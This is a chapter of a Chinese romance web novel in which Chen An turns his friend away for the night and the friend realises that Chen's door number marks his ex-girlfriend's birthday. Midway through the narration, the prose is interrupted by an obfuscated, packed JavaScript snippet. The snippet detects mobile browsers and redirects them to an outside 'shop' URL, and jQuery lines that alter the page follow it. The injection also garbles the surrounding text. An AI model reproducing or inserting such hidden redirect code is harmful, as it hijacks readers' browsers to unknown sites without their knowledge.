陈岸驱车归家，车前灯在黑暗中探出一双温暖的眼睛，接近深夜，商户紧闭，这座城市终于如策驰过后的马驹，得空喘了口气，偶然一阵风带过，在车内晃了晃，将后座那股若有似无的香味送到他鼻前。
他放慢车速，也希望那股香味散去慢一点。
三年前，他考入华清后在学校附近的小区买了套房，占地面积不大，一百五十平，两室一厅，装修全部亲力亲为，家具也是他到宜家一一挑选。
就连最后的美缝环节，他也是上网学习了专业知识，在没课的时候，一个人在家戴着报纸折的帽子仔细弄好，就像在完成一件工艺品，他力图完美，不想留下一丝遗憾。
高不凡知道他独居，但从来没来过，偶尔的几次好友视频通话，他只大略浏览了眼，只依稀记得装修很温馨，和他本身冷淡的性格并不相符，当时他坐在书房，高不凡只堪堪透过镜头看到客厅和书房，两个房间，两扇门，一个关一个闭。
他在冷风中等了很久，久到他靠在墙边打瞌睡了，陈岸才给他发消息，叫他上去。
高不凡醒醒神，拎起黑包，电梯下降到负一楼，正好撞见陈岸，陈岸说：“我以为你今晚不住这。”
高不凡说；“京市我唯一熟悉的就是你了好吧，你可得救济我。”
陈岸低头摁密码，高不凡自动挪开眼睛，转着圈看墙上物业张贴的通知。
滋滋——门开了。
高不凡一回头，正好望见他门牌号，521。
高不凡觉得新奇：“你门牌号在暗示什么呢？”
陈岸进门换鞋，给他拿了双客人的丢到地上，听到他的话，一愣，伸长胳膊把门搭上，笑，“你是一万个为什么吗？”
“如果你把研究我家门牌号的心思拿来哄你妈妈，也不会闹僵。”
高不凡一家都是大院里的，父母长辈都希望他继承下去，但他是个拧的，一心扑在园林研究上，小时候就讨厌臭气熏天的男人汗水味，因此他能玩得来的朋友很少，陈岸是其中之一，和他能谈得来，陈岸身上没有异味也是关键因素。
但现在看来，此时此刻不太能和谐相处。
真是哪壶不开提哪壶。
真不知道陈岸是不是被他妈收买了。
高不凡观察着陈岸的表情，见他依旧如往日平淡，身上只有刚下车时沾染的风中的寒意，就连火锅店里的味儿都散了。
但还是不对劲。
很不对劲。
他忽然凑近去闻，陈岸吓了一跳，瞳孔微缩，转身走到餐桌旁倒了杯凉白开，声音有些滞停：“你发什么神经？”
高不凡神秘莫测，“你今晚，很不一样。”
陈岸总觉得这句话，在两个大男人之间讲出来太暧昧了。
尽管他非常清楚高不凡是24k纯直男。
陈岸战术性喝水：“你说说，哪里不一样。”
高不凡步伐迈地十分悠然，就跟自己家一样，他靠在沙发背上，露出一个耐人寻味的笑：“说说吧，又是吃同一家火锅店同一个锅底，姜宝珠付完钱出去了你迫不及待追出去，有别的男人跟她要微信你装作不在意，其实心底醋死了吧。”
陈岸丝毫没有被戳破的心虚和尴尬，他把马克杯倒扣在桌上，等待杯底最后几滴水珠缓慢沿着杯壁落下的几秒内，他的视线一直停留在马克杯杯底的英文上——Pearl。
珍珠，珠宝，一切美好的事物。
他和姜宝珠在一起的那六个月，也是他最珍贵的记忆。
其实他还有件事没跟高不凡说，在地铁上他就跟姜宝珠偶遇了。
分手三年，陈岸以为自己再见到她，会恨，会怨，恨她当年分手时那么决绝，不留一点余地，怨她狠心，他在雪地里跪了一整夜，她都没有回头，没有给他哪怕一个眼神。
他往日里最不稀罕、最鄙夷的就是苦肉计，他认为那不过是博取对方的同情心，那根本不是喜欢，只是可怜。
可正就是这点微不足道，顺手而为的可怜，姜宝珠一点也不给，她离开的背影是那夜雪地里最冷的一束冰锥，狠狠刺向了他的心脏。
在他心底挖了挖，挖出了他不曾对姜宝珠产生过的虚无缥缈的怨恨。
既然爱不得，只能恨得了。
姜宝珠对他的爱和喜欢在那一夜雪过后融化而消失，无所踪迹，他甚至来不及留住那种被爱的感受，就烟消云散了。
他想，要是爱可以化作实物，储存起来就好了，那样他会买全世界最温暖的柜子，将“爱”供养，无法呼吸的时候，就靠近，汲取养分，攒攒存活的雨水，来拖着他上岸。
可是没有。
于是他学会了恨。
恨比爱长远。
可到底是恨，还是爱，他自己都分不清了。
可时至今日，陈岸才明白，比起那些带刺的黑色情绪，他心中更多的是思念，担忧。
你这些你过得好不好——
下雨有没有带伞，
有没有好好吃饭，
不应季的水果但喜欢吃的水果有没有买给自己，<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310929|198838||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
过生日开心吗？
一个人，也会过得幸福吗？
最后一个问题，陈岸本身没有答案。
姜宝珠就是答案。
高不凡接过陈岸递来的水杯，看见他刚刚倒扣，低头看看自己手心的一次性杯子，“我也要用马克杯喝水。”
陈岸漫不经心一捏纸杯，丢进垃圾桶，“不喝算了。”
高不凡的眉心一晚上就没松过，他跳起来，“你见色忘义。”
陈岸冷不丁拎起唇角，“你才知道？”
“起来。”他上前踢了踢他。
高不凡正渴，他要去自个儿倒水，结果被就陈岸一踢差点往前倾倒，也正在此时，高不凡看到陈岸往后倒退一步，他不可置信得瞪大眼睛，气得岔气。
“不是哥们，你倒退一步是认真的？”
陈岸走到玄关，“换鞋，带你去酒店。”
高不凡撑着沙发站起来，揉了揉被踢得那块儿，还挺疼的，但也是陈岸明显收着力道的。
高不凡走了两步，停在原地，“你家不是两间房吗，我住一间不行？”
陈岸拧了下眉。
高不凡继续小声说，“我付钱还不行吗？”
陈岸没应，从玄关门边的柜子上捞起他的书包抛到高不凡胸口，“不行，房间里有黄金，我怕你半夜化身吞金兽。”
高不凡嘴角缓缓抽搐。
哥们，你编个理由也编的像样点吧？
现在连敷衍都懒得敷衍我了？
陈岸带高不凡去一家口碑不错的五星酒店，钱是他掏的，起初高不凡不清楚这家酒店的价格，他平常跟导师到处奔走，住的也糙，不在乎，直到放下包在沙发上坐着没事刷手机时，大数据给他推送的附近酒店。
2000一晚，有钱富公哦。
晚上，高不凡翻来覆去，他脑海中一直浮现陈岸家的门牌号，521。
怎么感觉在哪儿听过，但就是想不起来，抓耳挠腮，他躺的难受，关了灯，准备数羊入睡。
可突然地，脑子里白光乍现，他猛地坐起来，开灯，翻开陈岸的朋友圈。
往下滑。
大概三个月前，陈岸发过一条朋友圈。
卡点在2022年5月21日00:00。
很简短的四个字。
生日快乐。
那天，是姜宝珠的生日。
是姜宝珠给陈岸当家教的第一天。
也是陈岸十九年来第一次那么清晰地听见自己的心跳声。